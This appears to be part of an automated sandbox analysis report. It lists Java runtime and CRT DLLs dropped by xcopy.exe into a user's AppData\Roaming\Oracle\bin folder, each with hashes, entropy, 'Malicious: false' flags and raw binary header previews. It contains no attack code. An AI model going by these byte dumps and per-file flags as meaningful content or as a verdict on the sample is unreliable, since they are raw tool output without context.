..V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-process-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-runtime-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 22840

Entropy (8bit): 6.942029615075195

Encrypted: false

SSDEEP: 384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7

MD5: 41A348F9BEDC8681FB30FA78E45EDB24

SHA1: 66E76C0574A549F293323DD6F863A8A5B54F3F9B

SHA-256: C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B

SHA-512: 8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!..
.......................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... .
.`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d
....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N..
.n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-stdio-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 24368

Entropy (8bit): 6.873960147000383

Encrypted: false

SSDEEP: 384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr

MD5: FEFB98394CB9EF4368DA798DEAB00E21

SHA1: 316D86926B558C9F3F6133739C1A8477B9E60740

SHA-256: B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7

SHA-512: 57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!..
.......................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a...................
........ ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....
rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v......
.........................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-string-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 23488

Entropy (8bit): 6.840671293766487

Encrypted: false

SSDEEP: 384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj

MD5: 404604CD100A1E60DFDAF6ECF5BA14C0

SHA1: 58469835AB4B916927B3CABF54AEE4F380FF6748

SHA-256: 73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C

SHA-512: DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20B
E4

Malicious: false
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!..
.......................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... 
..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata.
.d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...
[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-string-l1-1-0.dll

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-time-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 20792

Entropy (8bit): 7.018061005886957

Encrypted: false

SSDEEP: 384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0

MD5: 849F2C3EBF1FCBA33D16153692D5810F

SHA1: 1F8EDA52D31512EBFDD546BE60990B95C8E28BFB

SHA-256: 69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D

SHA-512: 44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI.....
......!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text........................
....... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rda
ta..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~................
.......?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Roaming\Oracle\bin\api-ms-win-crt-utility-l1-1-0.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 18744

Entropy (8bit): 7.127951145819804

Encrypted: false

SSDEEP: 192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q

MD5: B52A0CA52C9C207874639B62B6082242

SHA1: 6FB845D6A82102FF74BD35F42A2844D8C450413B

SHA-256: A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0

SHA-512: 18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!..
....................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... .
.`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..
d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r.........................
..........4...I..._.......................3...N...e...|.......................

C:\Users\user\AppData\Roaming\Oracle\bin\awt.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1188216

Entropy (8bit): 6.621625944667242

Encrypted: false

SSDEEP: 24576:FeBPoBpMrGXL94IuO6YhJZi+Z+BuKo5cKb3W8:kqEuKcVDW8

MD5: 47ADDDEB091D2B18A28EDC94CCC69A4C

SHA1: 325824889894CDA1884B080D2E95787FA595A95B

SHA-256: 5D5C6E03AFA8DFF9CE79DCD968449D87A2DFD0EEABFCF393F182CFE29D00C3C1

SHA-512: 91697400AD2634BB0A0F8A68717944DE76FAD0A3C882608A54550923A438EC6D7D2FEF3C9897A4486DD2165BA5A229E6698D4ADE030C7C0A682F78517F0F5D16

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.Q...?G..?G..?G..G..?G...G..?G...G..?Gz..G..?G..G..?G..G..?G.
.>G/.?G...Gs.?G...Gw.?G...G..?G...G..?G...G..?GRich..?G........................PE..L.....\...........!.................U.......................................p......V.....@.......................................... ...N
..............x....p.....................................x...@...............4...di..`....................text............................... ..`.rdata..............................@..@.data...x....`...~...D..............@....rsrc....N... .
..P..................@..@.reloc.......p......................@..B.........................................................................................................................................................................................
...............................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\bci.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
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Category: dropped

Size (bytes): 16248

Entropy (8bit): 6.404770517933745

Encrypted: false

SSDEEP: 384:hlosghOyGOOV/snPV5VGfuj+ep5JNNzFwhhiZ:hldghZW0ndvGfuj+ev3whK

MD5: 51268021CC53E09ECB014DD7A72C0FBC

SHA1: 6198413F05674EFE7BC3941C0C9977361EFC1964

SHA-256: 71AD5441D8107CA7780115CC42017C8292A4AD36B889D4576612C747D2D8A0D1

SHA-512: BFD94F6DD499CBB7FFD547E2AA1A46EE8C23BDEEC32F72E28D169A7C21E2B991CCDCF795ABFEAA5F4DB01EA397E1B1802E546FA458538B1CAF3F5027C5ED
2773

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W..W..W../x.W...w.W..W..W....s.W...u.W...@.W...A.W...p.W.
..q.W...v.W..Rich.W..........................PE..L.....\...........!......................... ...............................`............@..........................'......|$..<....@...............$..x....P....... ..........................
....8#..@............ ...............................text............................... ..`.rdata..v.... ......................@..@.data...p....0......................@....rsrc........@......................@..@.reloc.......P....
..."..............@..B..............................................................................................................................................................................................................................................
..........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\bci.dll

C:\Users\user\AppData\Roaming\Oracle\bin\client\Xusage.txt
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: ASCII text

Category: dropped

Size (bytes): 1423

Entropy (8bit): 4.176285626070561

Encrypted: false

SSDEEP: 24:N3ZYKm8fuW6psByGJjR0X46kA2SsGFhD+GbpGCOhLRr3n:mOLUskGJjyltsGFV+GbpGCOTr

MD5: B3174769A9E9E654812315468AE9C5FA

SHA1: 238B369DFC7EB8F0DC6A85CDD080ED4B78388CA8

SHA-256: 37CF4E6CDC4357CEBB0EC8108D5CB0AD42611F675B926C819AE03B74CE990A08

SHA-512: 0815CA93C8CF762468DE668AD7F0EB0BDD3802DCAA42D55F2FB57A4AE23D9B9E2FE148898A28FE22C846A4FCDF1EE5190E74BCDABF206F73DA2DE644EA62A
5D3

Malicious: false

Preview:
    -Xmixed           mixed mode execution (default).    -Xint             interpreted mode execution only.    -Xbootclasspath:<directories and zip/jar files separated by ;>.                
      set search path for bootstrap classes and resources.    -Xbootclasspath/a:<directories and zip/jar files separated by ;>.                      append to end of bootstrap class 
path.    -Xbootclasspath/p:<directories and zip/jar files separated by ;>.                      prepend in front of bootstrap class path.    -Xnoclassgc       disable class garbage 
collection.    -Xincgc           enable incremental garbage collection.    -Xloggc:<file>    log GC status to a file with time stamps.    -Xbatch           disable background co
mpilation.    -Xms<size>        set initial Java heap size.    -Xmx<size>        set maximum Java heap size.    -Xss<size>        set java thread stack size.    -Xprof            o
utput cpu profiling data.    -Xfuture          enable strictest checks, anticipating futur

C:\Users\user\AppData\Roaming\Oracle\bin\client\classes.jsa
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: data

Category: dropped

Size (bytes): 12976128

Entropy (8bit): 5.075892707796089

Encrypted: false

SSDEEP: 49152:C6lJZugkDzRPim7x/4VfGPjm92jR8MMQDlISsiiuhFVbD5NxLaJ3GJ2l8+KahaTG:C6lnTiLBbDxV+KIeMtO/RUuhKL3VhT

MD5: 176B18D92F004C50C85619E97AC6CE06

SHA1: 721419A2D7FB1D79A0BFC29415229FE84394FEC6

SHA-256: 1E336709F6793AE3E06B36624E82C86B5F931B262CA819CF4948843F6DAA1441

SHA-512: 33E458B45DA40962293C5484C10430692FEF81F1BBAEB3F8CCE26775F89F90997C6DBC1BD7569A4DDCED528529DC2AB437F4B6C92A1695C01165B440D2C2812A

Malicious: false

Preview:
....(........................O.....PV[.....$.....]...........Z.....`..a.......... .."........L....................Java HotSpot(TM) Client VM (25.211-b12) for windows-x86 JRE (1.8.0_211-b12), built on 
Apr  1 2019 20:53:53 by "java_re" with MS VC++ 10.0 (VS2010)..............................................................................................................{.......@... .O.........C:\Program Files 
(x86)\Java\jre1.8.0_211\lib\resources.jar;C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar;C:\Program Files (x86)\Java\jre1.8.0_211\lib\sunrsasign.jar;C:\Program Files 
(x86)\Java\jre1.8.0_211\lib\jsse.jar;C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar;C:\Program Files (x86)\Java\jre1.8.0_211\lib\charsets.jar;C:\Program Files (x8
6)\Java\jre1.8.0_211\lib\jfr.jar;C:\Program Files (x86)\Java\jre1.8.0_211\classes.....C:\Program Files (x86)\Java\jre1.8.0_211\lib\sunrsasign.jar.....C:\Program Files (x8
6)\Java\jre1.8.0_211\classes.....C:\Program Files (x86)\Java\jre1.8.0_211\lib\

C:\Users\user\AppData\Roaming\Oracle\bin\client\jvm.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 3893624

Entropy (8bit): 6.832853157906678

Encrypted: false

SSDEEP: 98304:xGprqNAVtyznigGJrIk4cnKPcv/GozRaESft:ir2zigGJ/4bcv/GozRaEQ

MD5: 7740EDA81AD8EE6E2720AFFA70F2A8F0
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SHA1: BFFB23858B2461E8D92378D2A3AC69F34C2DE8B9

SHA-256: D3980CA9BE247AE6293EAAD29DBBAEC9752D23CC3814B0F55C50C8E9E7576B64

SHA-512: 4791D7A8F765CD9C7C1C035016F95D3CA6EF2673A5460F67ED62F894F3BA1C51F7B6482EEF8CEA03112093AA14DC63A44A59009E5044F0165D0997C367FD4CB7

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................}B.....v.F......}@......}t......M..............}u.....}E......}D......}C...
..Rich............PE..L.....\...........!.....Z,..........A,......p,..............................P=.....yh<...@...........................4.....,.4.......9.(............N;.x.....9..P...v,...............................2.@........
....p,.`............................text....Y,......Z,................. ..`.rdata..*....p,......^,.............@..@.data.........5..,...v5.............@....rsrc...(.....9.......7.............@..@.reloc.......9.......7.............
@..B................................................................................................................................................................................................................................................................
........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\client\jvm.dll

C:\Users\user\AppData\Roaming\Oracle\bin\concrt140.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 248616

Entropy (8bit): 6.699964486884577

Encrypted: false

SSDEEP: 6144:fFSqgBLDeJkGOZAuaXE1TIh1MuyJ9eaJXUHKbOxA12z/W3NrrQ:fFRgMUlIh1ceLwOfz3

MD5: CF1F7F3E7C30ED97113B667A414FD5D3

SHA1: BE9F8FD21EC35CDE4669B30BD241C1B74BD1475F

SHA-256: 2423A2A62FE0369C610837E240D691DA727D95A9C1D5ADD512D0D0C32E328836

SHA-512: 9C9FDDF00ABEE52DBB65F14B711E7496EDF0A9D8A2D59CA299F40A30C79FD9EDB010FA19DC632D3F0BB840A747D787A2616D18050DE6376C4334D59F4CD1C8
B7

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.0p..cp..cp..c...cr..cy.ucz..cp..c...c...bu..c...bw..c...b|..c...bf..c.
..bK..c...bq..c...cq..c...bq..cRichp..c................PE..L....}.Y.........."!.........t..............0............................................@A.............................K..,b..........................(?.......+...'..8...
.........................'..@............`..(............................text...l........................... ..`.data........0...,..................@....idata.......`.......H..............@..@.rsrc................Z..............@.
.@.reloc...+.......,...`..............@..B..........................................................................................................................................................................................................................
..............................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\dcpr.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 143736

Entropy (8bit): 7.3348881758771505

Encrypted: false

SSDEEP: 3072:XI63LPXAZP49o9NQSd5Ficcj5ojGylYCE2Iu2jGLF5A9bE8LUeVChc6:Y63DQZPYoi7IGgYCE2L1F5A9bEGUeN6

MD5: A6CDAECA9BE26E422B8AA12B32BCE96D

SHA1: AE2339B5805C07E2CECDB7F1E927E2EF8A153528

SHA-256: F014256B30AE006D5D8C6D20AF23957EF3886427027A54F3E2B0269F9B370D7A

SHA-512: 95FF04D89D90CF1A51729A739CBC0A34729C171038ECEC818CA02BFCC306D1D74F86639CC20B3F6C8AE4CC622F43950AF6326AA2231FCE189BEC39A2D3E9059
7

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k..K.c.K.c.K.c.Br..I.c.P...H.c.P...I.c.P...N.c.K.b.m.c.P...m.c.P...J.c.
P...J.c.P...J.c.RichK.c.........................PE..L.....\...........!.........Z......V........................................@.......=....@.................................<...P.... ..................x....0...............................
...........@............................................text...n........................... ..`.rdata........... ..................@..@.data....+.......(..................@....rsrc........ ......................@..@.reloc.......0...........
...........@..B.....................................................................................................................................................................................................................................................
...........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\decora_sse.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 65912

Entropy (8bit): 6.357102728130537

Encrypted: false

SSDEEP: 768:x2yd2l7Pfj2I5HZ70dLhVP6gd2qPoyvVfoNVXfjMGaJng2WcZw0TYqwMfFSmj+Wx:xhd2xyI5HidLvmXNZ8B/ZlZF4W3h3j

MD5: 57B272565D5F75696DF13DCE316259E1

SHA1: E69EE183500F57D8397283401F00F75F637B974E

SHA-256: B974E0EE2C36339348D3D1BB247C0F87345B8DE26558C79D823E6438DBB7E8AA

SHA-512: 3D2621499798C2638B9E5C0AF201170022C6B6E7125109ACED65FC56A6529981730F9207E6324103FDCE017081B5DC59E327D8E4B75158114A62FCBA65D5775E

Malicious: false
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................i.....O......................O.......O.......O.......v.......v.......v.....
..v.......Rich............................PE..L......\...........!.........$............................................... ............@.....................................d.......................x.......$...P...............................p...@...
............t............................text.............................. ..`.rdata..B...........................@..@.data...............................@....rsrc...............................@..@.reloc..$......................
.....@..B...........................................................................................................................................................................................................................................................
.....................................

C:\Users\user\AppData\Roaming\Oracle\bin\decora_sse.dll

C:\Users\user\AppData\Roaming\Oracle\bin\deploy.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 450424

Entropy (8bit): 6.4842742283868215

Encrypted: false

SSDEEP: 6144:08nJJb3ytYn404Y+nTMCRf6Unf0Uvm0a/GCMOBpPMZhvxIW1G2s4:08nJFdn40lCRN3vm0bhvq+5l

MD5: 9EA3A4F24D6292358E7E43DA26E1628F

SHA1: E5013F669FBC01A71DFA6749890296E680549E33

SHA-256: B215F07FBCEE8F5377FFEA827031578DB6039D85FABD24364F6A7E2C08061BCA

SHA-512: 3065C8AA9FA0DCC76D10F021540BF8190E1D3AAD6EB0A2409CDF81CF963FCDCB86C01C3A72786DB53E96E5B482C213373CF822BE2A7D9C0B1735A34355C3AE
E5

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.l_..?_..?_..?D.1?]..?.R5?\..?D.3?Y..?D..?L..?0j.?W..?Vd.?Y..?
Vd>?J..?_..?...?D..?p..?D.6?^..?D.7?^..?D.0?^..?Rich_..?........................PE..L...r.\...........!.........<......~|....................................................@.............................y6.............
.................x........7...................................a..@...............H...........................text............................... ..`.rdata..9@.......B..................@..@.data...............................@....rsrc.......
........................@..@.reloc...D.......F...~..............@..B......................................................................................................................................................................................
..................................................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\dt_shmem.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 25976

Entropy (8bit): 6.62242768383478

Encrypted: false

SSDEEP: 384:lQgxsj7ttB+su6+XJ6ZEPG5AvLysj+U8JN77hhr0:CYsftt3yJ6W+qysj+X3hN0

MD5: E5AD94B64C56549004C5693205C771C3

SHA1: A48FDA83C913E6D4A07C77528B2AFF2A19378ED1

SHA-256: 0DB40E78C297C2ADC8A1F6CC4ECDA5394A7475C4480CF9D9167AD5864121C966

SHA-512: BADF714F141CD67E09F338A3AE59513B299E88E2D8F45B6203BDE7CAD859D39171F3017F85823B1F08084B4C8C25176185BF9882D71843E4132EF50F465DE126

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%..cK.cK.cK....cK....cK.cJ.cK....cK....cK....cK....cK....cK....cK.Rich
.cK.........PE..L.....\...........!.....*...........4.......@...........................................@.........................pM......\H..<....p...............J..x............A...............................G..@............@............
...................text....).......*.................. ..`.rdata.......@......................@..@.data........`.......@..............@....rsrc........p.......B..............@..@.reloc..~............F..............@..B............
..............................................................................................................................................................................................................................................................................
......................................

C:\Users\user\AppData\Roaming\Oracle\bin\dt_socket.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 22392

Entropy (8bit): 6.5739275729345215

Encrypted: false

SSDEEP: 384:pwdi4i9u1aIVW98YyeWNrpPVowEj+5h8JN77hheTb:edi3lk28YyeorpdowEj+5O3hQTb

MD5: 0D7372D29D1C55EC40CB607407B3656F

SHA1: 932C5AEA84FF316755612C59697375F4B606048C

SHA-256: 166BD1A5BED22865AAC6553F6310A3B041A7EB07C6E1EE6E5B57978111D3F12F

SHA-512: 7E0635E5514F7D8C29575A9B5A256E5CF1F9DF5D9284A0D80E828DF867F77EDE4DB0F61E1A143638BCACD734662276BB5AE45DFF186BDEAF1FC9D382B44BFA
F3

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..<...<...<...'<8.>...'<:.>...'<..>...<...v...5.7.9...'<..1...'<?.=...'<>.=...'<9
.=...Rich<...........................PE..L.....\...........!.................&.......0......................................G.....@..........................A..U....<..P....`...............<..x....p......@1..............................x;..
@............0..(............................text............................... ..`.rdata.......0....... ..............@..@.data........P.......2..............@....rsrc........`.......4..............@..@.reloc.......p.......8....
..........@..B......................................................................................................................................................................................................................................................
..........................................................

C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\deployJava1.dll
Process: C:\Windows\SysWOW64\xcopy.exe
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File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 828792

Entropy (8bit): 6.011886939858762

Encrypted: false

SSDEEP: 12288:qwDvfi2WLzqRaOm3fyNrsYzQEGK+3zV6WvChbOso6C6QJ1eeVRQ:d7fi2WLzm7m3fyNIYzQEI3zG

MD5: D409990C4F01CE760648062912F77FF4

SHA1: EA3D13210612BC5F4F42DB4051761171108E1015

SHA-256: AD8CB9361A6DE607B30FD50179E8A684CE33A3D34FA254525FCEBC1AA18EF523

SHA-512: 262767DC714BBDB5B34C7D744EC61A6895A7476A6EB9DC19E70629743B0CBCC5AAFFC7F5AEF074660BED2F60DD44E8745A0541D88D4ACA10633AB9EFDE3D97
40

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Ll..Ll..Ll..W.4.Wl..E.).El..E.9.Ul..Ll...m..#...Dl..W...l..W...$l..W.
1.Ml..W.0.Ml..W.7.Ml..RichLl..........................PE..L...9.\...........!................h................................................O....@.................................t........P..................x....`...].....................
................@...............p...........................text............................... ..`.rdata..h#.......$..................@..@.data....s.......R..................@....rsrc........P......................@..@.reloc..dq.
..`...r..................@..B.......................................................................................................................................................................................................................................
.................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\deployJava1.dll

C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\npdeployJava1.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 908152

Entropy (8bit): 6.157185879144199

Encrypted: false

SSDEEP: 12288:LFJW4QO9/dp0+4jFRxIlSf5W5serPeUnvilkb6M1gIWvChbOso6C6QJueeWXXcsr:hJW4Qudp0+wFs45W5sanv7j1f6X28

MD5: 0B4E6A3821A6F13128B6622A6E54071C

SHA1: 938A60B7CB50320D8C4645DCA5B2F5253F8DE0ED

SHA-256: 4910113DBE7507A26D93952B5F99EF7E77C4A30CB9B90F2D6FCA62B8E9190546

SHA-512: C8A2D2CE328B053F10DB20269A7311E4E14C53B7AE2BD4412058367EF9CA880CB6557407D41BED822744126B6C9B621AFB73DEBEFFDA071C5A04D37372C0C3E
A

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................g>....g..L...#....3..................g......g;....g:....g=....Rich..............
..............PE..L.....\...........!.................=....... .......................................O....@..........................:..................X...............x........b...%..............................P...@............ ..P...\............
............text............................... ..`.rdata..4.... ......................@..@.data...$W...@...4..................@....rsrc...X............b..............@..@.reloc..<f.......h...X..............@..B.........
..............................................................................................................................................................................................................................................................................
.................

C:\Users\user\AppData\Roaming\Oracle\bin\eula.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 109944

Entropy (8bit): 5.91774227064997

Encrypted: false

SSDEEP: 1536:niEPbKJlXgZoGs34aljI8qXztsFaiEpOBbsO4lunk53hXl:iAbSgZW33lVqj+EiEpOBIO4lr3l

MD5: F4FC8F04E9431C03507AAA6628445404

SHA1: 73426FE18B7CD5687B3F7999CD4D76867538F0AB

SHA-256: 428F3B85C6FC07E0E70287B4100AE12F1F3FC397E63A64F363E26239A5DD382D

SHA-512: CD2652D31FCF505582EA1E11C9246706230B676C6B7F76B75A262835D63918AA0DFD943BCB4205F1E091CDC57A8F385250FB130F45222249B2B0611E31DDB47E

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ot....Z...Z...Z..Z...ZC@.Z...Z..Z...Z..Z...Z.v.Z...Z.v.Z...Z...Z...Z.x.
Z...Z..Z...Z..Z...Z..Z...Z..Z...ZRich...Z........................PE..L.....\...........!.................................................................@....@.........................P...J............0...t..............x...........P.......
........................0...@............... ...d...`....................text............................... ..`.rdata...D.......F..................@..@.data...0...........................@....rsrc....t...0...v..................@.
.@.reloc...............|..............@..B..........................................................................................................................................................................................................................
..............................................................

C:\Users\user\AppData\Roaming\Oracle\bin\fontmanager.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 227192

Entropy (8bit): 6.470482613611216

Encrypted: false

SSDEEP: 6144:LsNKsu7tpbB4+UXtpqbr5FSh+8STFGMReiD72t6OBhhA:YNKsu7tpbB4+Wtpqbr5FSh+X5GSoY

MD5: 14DD2A294E9415A617177D628C80F787
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SHA1: 5C848C6FC59E0418A9325AF48F54B24E0810A636

SHA-256: 3AAC1ED7F377A471002A830EBC35933BDC5B2E3EB149C249F44D614E78D71B89

SHA-512: A7BC09E08E26FE418DCA229017270501F36C1EB488FCF00AC86284FD5D6F41C020C64B6408F1605C74D80E236B05B4062B4A1CBE2F50E5E7CBA36D42B5055B1E

Malicious: false

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wG.s3&. 3&. 3&. .h. 0&. (.. 6&. :^. ;&. (.. 4&. 3&. n&. (.4 n&. (.5 "&. 
(.. 2&. (.. 2&. (.. 2&. Rich3&. ........PE..L.....\...........!.........~............................................................@......................... K.......A.......p...............\..x...........................................@
/..@............................................text...J........................... ..`.rdata...O.......P..................@..@.data........P.......8..............@....rsrc........p.......D..............@..@.reloc..L............H.
.............@..B...................................................................................................................................................................................................................................................
.....................................................................

C:\Users\user\AppData\Roaming\Oracle\bin\fontmanager.dll

C:\Users\user\AppData\Roaming\Oracle\bin\fxplugins.dll
Process: C:\Windows\SysWOW64\xcopy.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 154488

Entropy (8bit): 6.504807977722444

Encrypted: false

SSDEEP: 3072:6k0xjiMw46pRBakBDGSKdvngxDbZ7MRfGr5HGDW3auxbx:qjiM6mmiSKdsN7KfKIW3Fx

MD5: 198378FD6F624BF34194BB24E29D5F04

SHA1: 5178D0C769778E766CF7C56264C3AA12FE3260B1

SHA-256: 390E62F1CDD8DFA47565547C9F7805D10890C86588E5285216C9E5D18539A374

SHA-512: 165D2C0F4F9433A9E29D022630F82C471A54CEB9D994A2C34867F5B5DCC827920ED4D6A88FA73E66763422CFC52D11C3370FA1CC5773DB4C858E271276B4025B

Malicious: false

Preview:
